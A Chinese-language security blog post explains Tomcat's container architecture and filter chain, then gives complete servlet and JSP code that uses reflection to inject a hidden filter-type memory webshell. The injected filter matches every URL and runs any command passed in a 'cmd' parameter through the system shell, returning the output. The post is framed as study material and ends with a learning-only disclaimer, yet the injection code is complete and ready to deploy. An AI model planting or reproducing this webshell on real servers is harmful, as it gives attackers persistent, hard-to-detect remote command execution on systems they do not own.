参考文章:
https://www.cnblogs.com/nice0e3/p/14622879.html
https://blog.csdn.net/xlgen157387/article/details/79006434
Java Filter型内存马的学习与实践 - zpchcbd - 博客园 (cnblogs.com)
手搓Filter内存马从构造到利用讲解(内存马系列篇一) - FreeBuf网络安全行业门户
一 Tomcat架构
想要了解Tomcat的内存马的实现,必须要了解tomcat整体结构与对消息的处理机制
这是tomcat的顶层结构图
- Server组件:Server是最顶级的组件,代表Tomcat运行的实例,在一个JVM中只会包含一个Server。
- Service组件:一个Server组件下可以包含多个Service组件,每个Service组件包含多个接收消息的Connector组件和处理请求的Engine组件。其中,不同的Connector组件使用不同的通信协议,如HTTP协议和AJP协议。
-
Connector:Tomcat有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。 - Engine:Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
- Context:一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。
对于以上我们可以了解到,当一个请求到达tomcat,首先service会交给Connector,Connector用于接收请求并将接收的请求封装为Request和Response来具体处理,Request和Response封装完之后再交由Container进行处理,Container处理完请求之后再返回给Connector,最后在由Connector通过Socket将处理的结果返回给客户端。
而对于Container是如何处理Request和Response的呢,在Connector内部包含了4个子容器,结构图如下:
处理流程:
- Connector在接收到请求后会首先调用最顶层容器的Pipeline来处理,这里的最顶层容器的Pipeline就是EnginePipeline
-
在Engine的管道中依次会执行EngineValve1、EngineValve2等等,最后会执行StandardEngineValve,在StandardEngineValve中会调用Host管道,然后再依次执行Host的HostValve1、HostValve2等,最后在执行StandardHostValve,然后再依次调用Context的管道和Wrapper的管道,最后执行到StandardWrapperValve
-
当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的Filter和Servlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法,这样请求就得到了处理
最终流程如下:
Server : - Service -- Connector: 客户端接收请求 --- ProtocolHandler: 管理其他工作组件实现对请求的处理 ---- Endpoint: 负责接受,处理socket网络连接 ---- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request ---- Adapter: 负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了 ServletRequest接口、ServletResponse接口的对象。 --- Container: 负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块 -- Engine:处理接收进来的请求 --- Host: 虚拟主机 --- Host: 虚拟主机 --- Host: 虚拟主机 --- Context: 相当于一个web应用 --- Context:相当于一个web应用 --- Context:相当于一个web应用
二 Filter
1 Filter Demo
可以在上述流程中看到当经过完Wrapper-Pipeline后数据经过 FilterChain,而对于filterchain的的概念
在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链
这个就比较熟悉了,web开发中我们经常构造我们的filter,只有当经过filter后,request才能继续到达servlet
当然,现在我们先完成一个简单的servlet和filter应用,方便接下来的调试
filter:
public class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); System.out.println("Filter init"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); System.out.println("Filter doFilter"); filterChain.doFilter(servletRequest, servletResponse); System.out.println("Filter endFilter"); } @Override public void destroy() { Filter.super.destroy(); } }
servlet:
public class webDemo extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse res) throws IOException { System.out.println("doGet"); res.getWriter().print("doGet"); } public void doPost(HttpServletRequest req, HttpServletResponse res) throws IOException { doGet(req, res); } }
web.xml:
<filter> <filter-name>filter</filter-name> <filter-class>filterDemo</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/demo</url-pattern> </filter-mapping> <servlet> <servlet-name>webdemo</servlet-name> <servlet-class>webDemo</servlet-class> </servlet> <servlet-mapping> <servlet-name>webdemo</servlet-name> <url-pattern>/demo</url-pattern> </servlet-mapping>
2 ServletContext
ServletContext是Servlet规范中的一个对象,它代表了当前Web应用程序的上下文(Context)。这个上下文包括了整个Web应用程序的信息,可以被Web应用中的所有Servlet共享。可以将ServletContext看作是一个全局存储区,用于存储和访问Web应用中的全局数据和资源。
获取ServletContext的两种方法
getServletContext(); getServletConfig().getServletContext();
但是当打印 getServletContext().getClass().getName() 时
获取到的是ApplicationContextFacade这个对象,说明 ServletContext 其实还是 ApplicationContextFacade对象
3 StandardContext
StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。
三 Filter链分析
如果为了创建一个filter内存马,必须知道filter是如何被创建的,现在尝试找到其中的位置
首先通过调用堆栈可以看到执行的ApplicationFilterChain对象中的internalDoFilter方法和dofilter方法
首先是ApplicationFilterChain dofilter调用了 internalDoFilter,然后 internalDoFilter 方法中获取了filterDemo
然后调用了filterDemo的dofilter方法
也就是我们的filterDemo被 ApplicationFilterChain中internalDoFilter加载并且调用,继续查看ApplicationFilterChain对象的来源。
通过堆栈可以看到tandardWrapperValve对ApplicationFilterChain进行了实例化并且调用了ApplicationFilterChain的dofilter
StandardWrapperValve中通过 createFilterChain创建了一个过滤链,将request, wrapper, servlet 进行传递
跟入createFilterChain进行查看,这个方法获取到了 StandardContext 对象,通过 findFilterMaps 获取到context中所有的filter,将filter放入filterMaps数组,当前存在两个filter,第一个为我们的filterDemo,第二个是tomcat默认的
继续往下调用,遍历每个filterMap中的对象,然后通过matchFiltersURL匹配url的映射关系,匹配通过后,将filter的相关信息存入filterConfig,然后在经过filterChain.addFilter(filterConfig)将filterConfig存至filterChain,即之后调用的ApplicationFilterChain
现在可以发现,ApplicationFilterChain所做的是调用其内部的filter,而filter创建时又是通过addFilter(filterConfig),所以我们需要的就是获取到当前的ApplicationFilterChain,并且修改filterConfig。查看filterConfig结构,该对象有三个重要的属性,一个是ServletContext,一个是filter,一个是filterDef。
所需要做的事情:
1、获取当前应用的 StandardContext 对象
2、再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加
6、最后把 StandardContext 对象 filter对象 FilterDef全部都设置到 filterConfig ,在filterConfigs中添加 filterConfig
四 filter内存马实现
这里参考大佬文章
手搓Filter内存马从构造到利用讲解(内存马系列篇一) - FreeBuf网络安全行业门户
1 Servlet实现
public class AddTomcatFilter extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String name = "cmdFilter";
//从request中获取ServletContext
ServletContext servletContext = req.getSession().getServletContext();
//从context中获取ApplicationContext对象
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
//从ApplicationContext中获取StandardContext对象
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//从StandardContext中获得filterConfigs这个map对象
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//如果这个过滤器名字没有注册过
if (filterConfigs.get(name) == null) {
//自定义一个Filter对象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
PrintWriter writer = resp.getWriter();
String cmd = req.getParameter("cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
try {
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
return;
} catch (NoSuchMethodException | IllegalAccessException |
InvocationTargetException e) {
e.printStackTrace();
}
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//创建FilterDef对象 并添加 filter对象,filtername, filter类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
//通过addFilterDef方法添加 filterDef 方法
standardContext.addFilterDef(filterDef);
//创建FilterMap对象,并添加 filter映射,filtername
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
//这个不要忘记了
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//通过addFilterMapBefore方法添加filterMap对象
standardContext.addFilterMapBefore(filterMap);
//通过前面获取的filtermaps的put方法放入filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
PrintWriter out = resp.getWriter();
out.print("Inject Success !");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
2 jsp实现
处理逻辑大致相同
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "evil"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest,servletResponse); System.out.println("doFilter"); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); } %>
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)